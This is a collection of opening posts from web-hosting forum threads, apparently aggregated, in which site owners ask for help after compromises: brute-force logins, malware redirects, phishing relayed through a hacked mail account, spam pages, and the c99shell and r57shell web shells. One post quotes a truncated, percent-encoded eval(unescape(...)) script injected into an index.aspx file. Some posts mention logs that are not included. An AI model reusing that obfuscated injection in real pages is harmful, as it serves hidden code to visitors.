A hack program (i do not know what its name is) cause following error via vBulletin or any forum
Code:
This Account Has Exceeded Its CPU Quota
i do not know how i can find out accesing ip and block access request
and
i do not know its runining system ?
i m in shared host (have SSH account)
how i could define a maximum size for a certain folder on my web hosting thus the folder size cannot exceed this ??
Also how could i set a maximum quota for an ftp account ?? provided that i have no cpanel im on GoDaddy host
recently i found that a javascript code is appended to my index.aspx file on the server !
here is the code :
Code:
<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%

i need to know 2 things :
1- is it possible that my developer did something wrong and hackers can append anything to his code ? . or it is a server issue and my host provider servers hacked !?
2- does anybody know anything about this piece of code ? (i dont mean it's action , i want to know ! is it known ?)
When I check statistics for my site, I got this link: [url]
When I click on this site, it run very strange. Are they going to hack me or what they want to do with my site by using the scripts on their site?
after checking this: [url]
I have searched and searched but can't find anything related here, on Cpanel.net or through google.
I have a Linux/Cpanel machine. Hosts about 15-20 websites. No matter which site you try to visit it is redirected to some malware site or something that tries to get you download a program (Clearly a virus or trojan).
I cannot find any info on this or how to even stop the redirects.
My firewalls block IP's from multiple failed login attempts. The FW on one server has been blocking someone from The Planet. My servers are at GNAX, so why is someone from TP trying to get in?
This is what the system emails tell me:
IP: 70.87.XX.X (2.27.XXXX.static.theplanet.com)
Failures: 5 (sshd)
Interval: 95 seconds
Blocked: Yes
I have started seeing the following error in the Event Viewer every day:
"An anonymous session connected from xxx.xxx.xxx.xxx has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensitive information to the anonymous caller. The application that made this attempt needs to be fixed. Please contact the application vendor. As a temporary workaround, this security measure can be disabled by setting the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaTurnOffAnonymousBlock DWORD value to 1. This message will be logged at most once a day."
The IP address is different every time. It is not an internal IP address or any I recognize. It is from the outside. I have read about this in the Microsoft site but it only mentioned how it might be an internal service/application attempting the access. This is not my case since I am seeing remote IP addresses. Anyone can help me dig deeper into this? How can I find out more about what's going on?
I haven't really delved into it yet but my wife and I have a personal website with pictures and what-not which was hacked by some Saudi Arabian hacker
site is www.nickandkathi.com
I dont' have the index files with me but is all Ineed to do just re-load my index page on my PC to my file? I'm hosted with hostgator.
How do I stop this from happening again?

I just had a client whose hosting account was automatically suspended due to him not paying the hosting bill. He opened up a ticket and asked why his site is suspended. I informed him that he didn't pay the bill and the system suspended it automatically. I told him that the system generated e-mails as well and he said he didn't get them while I looked in WHCMS, it said it DID get sent to him. Client said his website was DDOS'd because it used 3 GB of BW in one month and i told him there was no DDOS attack. The kind of site he had (100+ users online at one time, vBulletin forum), it was common to use that much.
The client is now saying that he is going to hack attempt the servers to see if they are DDOS Protected or not. Of Course, my servers are protected (WiredTree), so should I be worried?
His quote:
Quote:
I'LL TEST TO SEE IF YOU HAVE DDOS PROTECTION...TIME TO GATHER MY HACKING BUDDYS.
Also, I have notified WiredTree about this just right now.
I believe my server has been hacked as I did the top and observe as follows

Now..I am logged in root in two terminals and it shows
root pts/2 Apr 28 15:19 (x.x.x.x)
root pts/3 Apr 28 14:06 (x.x.x.x)
I am just wondering how can the root perform ftp tasks where my root login is sitting idle and what about pts/0 and pts/1
I stopped the ftp service in cpanel and it is started automatically..
Don't know if anyone else saw this.

Once again points out the importance of backups.
I'm not a server admin, but help my client with basic it tasks...we built their website for them and just sort of fell into helping them out when they need it. My client has a vps with knownhost, the vps is only used for hosting the email for their domain, the website is hosted on another server. 4 days ago, I logged in and checked the mail queue and found thousands of emails in the queue that were phishing emails trying to get passwords from the recipients for a service called moneybookers.com. According to knownhost, the hacker had guessed the password of one of the email accounts and had started sending mail through it. The hacked account was deleted that day as it was a test account and was not needed anyways. As soon as the account was deleted, the phishing mails stopped being sent. Knownhost reassured us the server hadn't been breached, but we changed the root password anyways. Around 15k to 20k emails were sent in a 14 hour period. Since that time we have appeared on a few blacklsts and have a negative senderbase score and so any company that uses senderbase is obviously rejecting our mail... My client has just hired assuretymail services to get accredited and has invested a lot of money into streamlining mail delivery, so this is obviously devastating to them.
Today I logged in and again found 1000's of email in queue, yet again, and this time they were paypal phishing emails. I immediately changed the passwords of all 50 of the email accounts, including the root. It looks like around 14k or so emails were sent.
Trying to understand how this could happen yet again, knownhost is saying that, yet again the account "test", the same account used last time was used for sending out emails. I was confused by how a previously deleted account could be used to again begin sending emails even though it was deleted 4 days ago. According to knownhost "[FONT='Verdana','sans-serif']The only reasonable explanation for this activity would be that exim cached credentials for system user "test" and didn't refresh its internal cache since the moment when "test" account was removed. To force exim to refresh the cache exim mail server was restarted on your system, so it shouldn't be possible to use that (non-existent) account again to relay the mail through your system."[/FONT]
[FONT='Verdana','sans-serif'][/FONT]
[FONT='Verdana','sans-serif']Being that I'm not a server admin and I rely on knownhost for server admin basics, am I out of line thinking that knownhost dropped the ball here? I mean is it obvious that a restart was in order after the first hack or is this just a bad chance scenario. Is the scenario they are describing plausible?[/FONT]
my VPS provider just rebuilt my VPS after many hack attacks.
From some days I am getting emails from firewall that someone login to my VPS/mySQL using SSH.
I don't know what they do, but they don't disturb any account. Only some downtime feel during this. But last night my VPS stop working so my provider rebuilt VPS.
how I can secure my VPS now. I have Cpanel installed.
Physical hack of my server?
My server (cent OS4, plesk 8) was frozen for a day and the NOC had to reboot it, here is the mail I got from my host:
>Your server was frozen, with a kernel panic. Ensure that you check your logs closely to determine how this happened,
After looking at the message log here is the part of the log when the crash happened:
Is this really a kernel panic, I am not sure...

It looks to me like if someone has physically connected a keyboard and logged in at the NOC.
I use Iptable to restrict ssh access to my IP each time I connect remotly, so I dont' think a remote connection has been possible.

I think it's just corupted data the was written when the server shutt down.
Also i didn't find any other signes of kernel panic in the logs
Looking at the httpd error log I found this lines before the crash:

apparently somone doing server scan. maybe the 2 events are correlated and the server freeze could have been a result of some buffer overflow attack, but i sould be finding some evidences of this on the apache logs?
What direction should I take to investigate a bit further on this server freeze?
I try to enhance my server security and prevent local hack but it seem useless.
I tried to chmod home/user/public_html to 711; disable functions; enable php open_basedir.
I can stop some popular shell such as c99shell.php but server can be hacked local.
Anyway to prevent it completely?
My company website URL is something along these lines: (I won't give the full URL because I guess that would be classed as advertising.)
www dot olapXXXXXX dot com
Now, we've discovered today that there are links on the site that look like this:
www dot olapXXXXXXdotcom/pornsex.dhtml
These links and pages have not been created by us. The link foes to a page advertising various porn, poker, viagra sites etc.
I've checked the FTP and the pages do not seem to be on the server.
So I'm a little bemused and stuck! How did someone piggyback on our site in this way?
The pages are indexed in Google so if you do a search for our company name and 'strip poker' then the link shows up in Google.
Does anyone have any idea what's going on? We own the URL, we don't believed our password has been compromised, the domain has not expired.
I think perhaps it's something to do with DHTML? We don't use it but all the bad pages do.
The links are not accessible from any of our pages (as for as I can see) but it's still a problem because they show up in Google.
Usually I just block offending machines that try to get into our systems and move on but for the last 2 days I have started notifying the contacts on the arin info for offending IP's. I guess I am trying to do my part to make the internet a better place?
Is this stuff largely ignored?
Is anyone else doing this?
Is there an easier way?
A new client has just opened up an account and the first thing hes installed at a few scripts called r57shell and c99shell. I'm not very familiar with these two scripts, but by the looks of them their root kits of some sort. Amd I correct in thinking this?
The account has been susspended for the time being.

I had an untapped image upload site on my server which i forgot. Some guys or children upload something noxious and neutralize all the "index.php". This was a hack attempt with SSH.
We noticed that, close this account delete uploaded files. But there is a quirky problem. Any of index.php's isn't working after this attempt. Index file is working after change its name, example "mindex.php".
We updated all the services, rebuild apache but don't working. We can't use any index.php on the server.
